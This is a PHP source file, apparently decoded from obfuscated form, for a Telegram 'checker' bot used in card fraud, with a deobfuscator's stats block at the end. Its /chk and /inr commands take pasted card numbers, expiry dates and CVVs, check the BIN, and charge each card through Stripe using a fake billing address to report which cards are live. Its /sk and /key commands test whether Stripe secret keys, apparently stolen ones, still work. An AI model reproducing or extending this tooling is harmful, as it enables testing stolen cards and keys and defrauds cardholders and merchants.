        curl_setopt($ch, CURLOPT_HTTPHEADER, array(
        'Host: lookup.binlist.net',
        'Cookie: _ga=GA1.2.549903363.1545240628; _gid=GA1.2.82939664.1545240628',
        'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8'));
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, '');
        $fim = curl_exec($ch);
        $bank = GetStr($fim, '"bank":{"name":"', '"');
        $name = GetStr($fim, '"name":"', '"');
        $brand = GetStr($fim, '"brand":"', '"');
        $country = GetStr($fim, '"country":{"name":"', '"');
        $emoji = GetStr($fim, '"emoji":"', '"');
        $scheme = GetStr($fim, '"scheme":"', '"');
        $type = GetStr($fim, '"type":"', '"');
        if(strpos($fim, '"type":"credit"') !== false){
        $bin = 'Credit';
        }else{
        $bin = 'Debit';
        };
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, 'https://api.stripe.com/v1/payment_methods');
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_USERPWD, $sk. ':' . '');
        curl_setopt($ch, CURLOPT_POSTFIELDS, 'type=card&card[number]='.$cc.'&card[exp_month]='.$mes.'&card[exp_year]='.$ano.'&card[cvc]='.$cvv.'&billing_details[address][line1]=36&billing_details[address][line2]=Regent Street&billing_details[address][city]=Jamestown&billing_details[address][postal_code]=14701&billing_details[address][state]=New York&billing_details[address][country]=US&billing_details[email]='.$mail.'@gmail.com&billing_details[name]= Mittal');
        $result1 = curl_exec($ch);
        $tok1 = Getstr($result1,'"id": "','"');
        $msg1 = Getstr($result1,'"message": "','"');
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, 'https://api.stripe.com/v1/payment_intents');
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_USERPWD, $sk. ':' . '');
        curl_setopt($ch, CURLOPT_POSTFIELDS, 'amount='.$amount.'&currency=usd&payment_method_types[]=card&description= Donation&payment_method='.$tok1.'&confirm=true&off_session=true');
        $result2 = curl_exec($ch);
        $msg2 = Getstr($result2,'"message": "','"');
        $rcp = trim(strip_tags(getStr($result2,'"receipt_url": "','"')));
        if(strpos($result2, '"seller_message": "Payment complete."' )) {
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CVV Matched </b><b>Response - Successfully Charged $$amt </b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);

        }
        elseif(strpos($result2, "insufficient_funds" )) {
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CVV Matched </b><b>Response - Insufficient Funds</b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
        elseif ((strpos($result1, "card_error_authentication_required")) || (strpos($result2, "card_error_authentication_required"))){ sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CVV Matched </b><b>Response - 3D Card</b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
        elseif(strpos($result2,'"cvc_check": "pass"')){
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CVV Matched </b><b>Response - Payment Cannot Be Completed</b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
        elseif(strpos($result2,'"code": "incorrect_cvc"')){
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CCN Matched </b><b>Response - CVV MISSMATCH</b><b>Gateway - Stripe Charge $$amt</b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
        elseif(strpos($result1,'"code": "incorrect_cvc"')){
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CCN Matched </b><b>Response - CVV MISSMATCH</b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
        elseif ((strpos($result1, "transaction_not_allowed")) || (strpos($result2, "transaction_not_allowed"))){
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CVV Matched </b><b>Response - Transaction Not Allowed</b><b>Gateway - Stripe Charge $$amt</b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
        elseif ((strpos($result1, "fraudulent")) || (strpos($result2, "fraudulent"))){
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Fraudulent</b><b>Response - Declined </b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
        elseif ((strpos($result1, "expired_card")) || (strpos($result2, "expired_card"))){
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Expired Card</b><b>Response - Declined </b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
        elseif ((strpos($result1, "generic_declined")) || (strpos($result2, "generic_declined"))){
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Generic Declined</b><b>Response - Declined </b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);
        }
        elseif ((strpos($result1, "do_not_honor")) || (strpos($result2, "do_not_honor"))){
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Do Not Honor</b><b>Response - Declined </b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
        elseif ((strpos($result1, 'rate_limit')) || (strpos($result2, 'rate_limit'))){
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - SK IS AT RATE LIMIT</b><b>Response - Declined </b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
        
        elseif ((strpos($result1, "Your card was declined.")) || (strpos($result2, "Your card was declined."))){
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Generic Declined</b><b>Response - Declined </b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
        elseif ((strpos($result1, ' "message": "Your card number is incorrect."')) || (strpos($result2, ' "message": "Your card number is incorrect."'))){
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Card Number Is Incorrect</b><b>Response - Declined </b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
        else {
        sendMessage($chatId, "<b><u><i>Unknown Error. $msg1 - $msg2</i></u></b>", $message_id);
        };
        }
        
        elseif ((strpos($message, "/inr") === 0)||(strpos($message, "!inr") === 0)||(strpos($message, ".inr") === 0)){
$message = substr($message, 4);
$amt = multiexplode(array("/", ":", " ", "|"), $message)[0];
$cc = multiexplode(array(":", "/", " ", "|"), $message)[1];
$mes = multiexplode(array(":", "/", " ", "|"), $message)[2];
$ano = multiexplode(array(":", "/", " ", "|"), $message)[3];
$cvv = multiexplode(array(":", "/", " ", "|"), $message)[4];
if (empty($amt)) {
$amt = '100';
}
        $amount = $amt * 100;
        $lista = ''.$cc.'|'.$mes.'|'.$ano.'|'.$cvv.'';
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, 'https://lookup.binlist.net/'.$cc.'');
        curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
        curl_setopt($ch, CURLOPT_HTTPHEADER, array(
        'Host: lookup.binlist.net',
        'Cookie: _ga=GA1.2.549903363.1545240628; _gid=GA1.2.82939664.1545240628',
        'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8'));
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, '');
        $fim = curl_exec($ch);
        $bank = GetStr($fim, '"bank":{"name":"', '"');
        $name = GetStr($fim, '"name":"', '"');
        $brand = GetStr($fim, '"brand":"', '"');
        $country = GetStr($fim, '"country":{"name":"', '"');
        $emoji = GetStr($fim, '"emoji":"', '"');
        $scheme = GetStr($fim, '"scheme":"', '"');
        $type = GetStr($fim, '"type":"', '"');
        if(strpos($fim, '"type":"credit"') !== false){
        $bin = 'Credit';
        }else{
        $bin = 'Debit';
        };
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, 'https://api.stripe.com/v1/payment_methods');
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_USERPWD, $sk. ':' . '');
        curl_setopt($ch, CURLOPT_POSTFIELDS, 'type=card&card[number]='.$cc.'&card[exp_month]='.$mes.'&card[exp_year]='.$ano.'&card[cvc]='.$cvv.'&billing_details[address][line1]=36&billing_details[address][line2]=Regent Street&billing_details[address][city]=Jamestown&billing_details[address][postal_code]=14701&billing_details[address][state]=New York&billing_details[address][country]=US&billing_details[email]='.$mail.'@gmail.com&billing_details[name]= Mittal');
        $result1 = curl_exec($ch);
        $tok1 = Getstr($result1,'"id": "','"');
        $msg1 = Getstr($result1,'"message": "','"');
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, 'https://api.stripe.com/v1/payment_intents');
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_USERPWD, $sk. ':' . '');
        curl_setopt($ch, CURLOPT_POSTFIELDS, 'amount='.$amount.'&currency=inr&payment_method_types[]=card&description= Donation&payment_method='.$tok1.'&confirm=true&off_session=true');
        $result2 = curl_exec($ch);
        $msg2 = Getstr($result2,'"message": "','"');
        $rcp = trim(strip_tags(getStr($result2,'"receipt_url": "','"')));
        if(strpos($result2, '"seller_message": "Payment complete."' )) {
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CVV Matched </b><b>Response - Successfully Charged $amt </b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);
        }
        elseif(strpos($result2, "insufficient_funds" )) {
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CVV Matched </b><b>Response - Insufficient Funds</b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
        elseif ((strpos($result1, "card_error_authentication_required")) || (strpos($result2, "card_error_authentication_required"))){ sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CVV Matched </b><b>Response - 3D Card</b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
        elseif(strpos($result2,'"cvc_check": "pass"')){
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CVV Matched </b><b>Response - Payment Cannot Be Completed</b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
        elseif(strpos($result2,'"code": "incorrect_cvc"')){
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CCN Matched </b><b>Response - CVV MISSMATCH</b><b>Gateway - Stripe Charge $amt</b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
        elseif(strpos($result1,'"code": "incorrect_cvc"')){
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CCN Matched </b><b>Response - CVV MISSMATCH</b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
        elseif ((strpos($result1, "transaction_not_allowed")) || (strpos($result2, "transaction_not_allowed"))){
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CVV Matched </b><b>Response - Transaction Not Allowed</b><b>Gateway - Stripe Charge $amt</b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
        elseif ((strpos($result1, "fraudulent")) || (strpos($result2, "fraudulent"))){
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Fraudulent</b><b>Response - Declined </b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
        elseif ((strpos($result1, "expired_card")) || (strpos($result2, "expired_card"))){
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Expired Card</b><b>Response - Declined </b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
        elseif ((strpos($result1, "generic_declined")) || (strpos($result2, "generic_declined"))){
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Generic Declined</b><b>Response - Declined </b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);
        }
        elseif ((strpos($result1, "do_not_honor")) || (strpos($result2, "do_not_honor"))){
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Do Not Honor</b><b>Response - Declined </b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
        elseif ((strpos($result1, 'rate_limit')) || (strpos($result2, 'rate_limit'))){
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - SK IS AT RATE LIMIT</b><b>Response - Declined </b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
        
        elseif ((strpos($result1, "Your card was declined.")) || (strpos($result2, "Your card was declined."))){
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Generic Declined</b><b>Response - Declined </b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
        elseif ((strpos($result1, ' "message": "Your card number is incorrect."')) || (strpos($result2, ' "message": "Your card number is incorrect."'))){
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Card Number Is Incorrect</b><b>Response - Declined </b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
        else {
        sendMessage($chatId, "<b><u><i>Unknown Error. $msg1 - $msg2</i></u></b>", $message_id);
        };
        }

elseif ((strpos($message, "/cmds") === 0)||(strpos($message, "!cmds") === 0)||(strpos($message, "!command") === 0)||(strpos($message, "!commands") === 0)||(strpos($message, "/commands") === 0)||(strpos($message, "/command") === 0)||(strpos($message, "/cmd") === 0)){
sendMessage($chatId, "<b><i>[Checker Gates]STRIPE CUSTOM CHARGE -/chk{Amount In $} - xxxxxxxxxxxxxxxx|xx|xx|xxx/inr{Amount In } - xxxxxxxxxxxxxxxx|xx|xx|xxxBIN LOOKUP - /bin -  xxxxxxSK CHECK - /sk -  sk_live_xxxxxxxxxx[Tools]TELEGRAM ID/GROUP ID - /id</i></b>", $message_id);
}

//////////=========[Bin Command]=========//////////

elseif ((strpos($message, "/bin") === 0)||(strpos($message, "!bin") === 0)||(strpos($message, ".bin") === 0)){
$bin = substr($message, 5);
if (!empty($bin)) {
$ch = curl_init();
 curl_setopt($ch, CURLOPT_URL, 'https://lookup.binlist.net/'.$bin.'');
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Host: lookup.binlist.net',
'Cookie: _ga=GA1.2.549903363.1545240628; _gid=GA1.2.82939664.1545240628',
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8'));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, '');
$fim = curl_exec($ch);
$bank = GetStr($fim, '"bank":{"name":"', '"');
$name = GetStr($fim, '"name":"', '"');
$brand = GetStr($fim, '"brand":"', '"');
$country = GetStr($fim, '"country":{"name":"', '"');
$emoji = GetStr($fim, '"emoji":"', '"');
$scheme = GetStr($fim, '"scheme":"', '"');
$type = GetStr($fim, '"type":"', '"');
if(strpos($fim, '"type":"credit"') !== false){
$bin = 'Credit';
}else{
$bin = 'Debit';
};
sendMessage($chatId, '<b> Valid Bin</b><b> Bank:</b> '.$bank.'<b> Country:</b> '.$name.''.$emoji.'<b> Brand:</b> '.$brand.'<b> Card:</b> '.$scheme.'<b> Type:</b> '.$type.'<b> Checked By:</b> @'.$username.'<b> Bot By: </b>', $message_id);
}
else {
sendMessage($chatId, '<b> Invalid BinFormat - /bin xxxxxx</b>', $message_id);
}
}
elseif (strpos($message, "/key") === 0){
$sec = substr($message, 5);
if (!empty($sec)) {
$skhidden = substr_replace($sec, '',12).preg_replace("/(?!^).(?!$)/", "x", substr($sec, 12));
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://api.stripe.com/v1/tokens');
curl_setopt($ch, CURLOPT_USERPWD, $sec. ':' . '');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'card[number]=4912461004526326&card[exp_month]=04&card[exp_year]=2024&card[cvc]=011');
$result = curl_exec($ch);
$response = trim(strip_tags(GetStr($result,'"message": "','"')));
if (strpos($result, 'tok_')){
sendMessage($chatId, "<b> LIVE KEY</b><u> KEY:</u> <code>$skhidden</code><u> RESPONSE:</u> SK LIVE!!<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id);
}
elseif (strpos($result, 'Invalid API Key provided')){
sendMessage($chatId, "<b> DEAD KEY</b><u> KEY:</u> <code>$sec</code><u> RESPONSE:</u> INVALID KEY<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id);
}
elseif (strpos($result, 'You did not provide an API key.')){
sendMessage($chatId, "<b> DEAD KEY</b><u> KEY:</u> <code>$sec</code><u> RESPONSE:</u> No Sk Key Provided<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id);
}
elseif (strpos($result, 'rate_limit')){
sendMessage($chatId, "<b> DEAD KEY</b><u> KEY:</u> <code>$sec</code><u> RESPONSE:</u> Rate Limited Key<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id);
}
elseif ((strpos($result, 'testmode_charges_only')) || (strpos($result, 'test_mode_live_card'))){
sendMessage($chatId, "<b> DEAD KEY</b><u> KEY:</u> <code>$sec</code><u> RESPONSE:</u> Testmode Charges Only<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id);
}
elseif (strpos($result, 'api_key_expired')){
sendMessage($chatId, "<b> DEAD KEY</b><u> KEY:</u> <code>$sec</code><u> RESPONSE:</u> Api Key Expired<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id);
}
else{
sendMessage($chatId, "<b> DEAD KEY</b><u> KEY:</u> <code>$skhidden</code><u> RESPONSE:</u> Unknown Error.<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id);
}
}
else {
sendMessage($chatId, '<b> No Sk ProvidedFormat - /key sk_live_xxxxxxxxxxx</b>', $message_id);
}
delMessage($chatId, $message_id);
;}
elseif (strpos($message, "/sk") === 0){
$sec = substr($message, 4);
if (!empty($sec)) {
$skhidden = substr_replace($sec, '',12).preg_replace("/(?!^).(?!$)/", "x", substr($sec, 12));
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://api.stripe.com/v1/tokens');
curl_setopt($ch, CURLOPT_USERPWD, $sec. ':' . '');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'card[number]=4912461004526326&card[exp_month]=04&card[exp_year]=2024&card[cvc]=011');
$result = curl_exec($ch);
$response = trim(strip_tags(GetStr($result,'"message": "','"')));
if (strpos($result, 'tok_')){
sendMessage($chatId, "<b> LIVE KEY</b><u> KEY:</u> <code>$skhidden</code><u> RESPONSE:</u> SK LIVE!!<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id);
}
elseif (strpos($result, 'Invalid API Key provided')){
sendMessage($chatId, "<b> DEAD KEY</b><u> KEY:</u> <code>$sec</code><u> RESPONSE:</u> INVALID KEY<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id);
}
elseif (strpos($result, 'You did not provide an API key.')){
sendMessage($chatId, "<b> DEAD KEY</b><u> KEY:</u> <code>$sec</code><u> RESPONSE:</u> No Sk Key Provided<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id);
}
elseif (strpos($result, 'rate_limit')){
sendMessage($chatId, "<b> LIVE KEY</b><u> KEY:</u> <code>$sec</code><u> RESPONSE:</u> Rate Limited Key<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id);
}
elseif ((strpos($result, 'testmode_charges_only')) || (strpos($result, 'test_mode_live_card'))){
sendMessage($chatId, "<b> DEAD KEY</b><u> KEY:</u> <code>$sec</code><u> RESPONSE:</u> Testmode Charges Only<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id);
}
elseif (strpos($result, 'api_key_expired')){
sendMessage($chatId, "<b> DEAD KEY</b><u> KEY:</u> <code>$sec</code><u> RESPONSE:</u> Api Key Expired<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id);
}
else{
sendMessage($chatId, "<b> DEAD KEY</b><u> KEY:</u> <code>$skhidden</code><u> RESPONSE:</u> Unknown Error.<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id);
}
}
else {
sendMessage($chatId, '<b> No Sk ProvidedFormat - /sk sk_live_xxxxxxxxxxx</b>', $message_id);
}
delMessage($chatId, $message_id);
;}
function sendMessage ($chatId, $message, $message_id){
$url = $GLOBALS[website]."/sendMessage?chat_id=".$chatId."&text=".$message."&reply_to_message_id=".$message_id."&parse_mode=HTML";
file_get_contents($url);
};
function delMessage ($chatId, $message_id){
$url = $GLOBALS[website]."/deleteMessage?chat_id=".$chatId."&message_id=".$message_id."";
file_get_contents($url);
};

    function editMessage($chatId, $message, $messageId) {

    $url = $GLOBALS[website]."/editMessageText?chat_id=".$chatId."&message_id=".$messageId."&text=".urlencode($message);
    file_get_contents($url);

    }

Function Calls

None

Variables

None

Stats

MD5 959a19b6a9a01a1aa24f5c1e7ed035c7
Eval Count 0
Decode Time 141 ms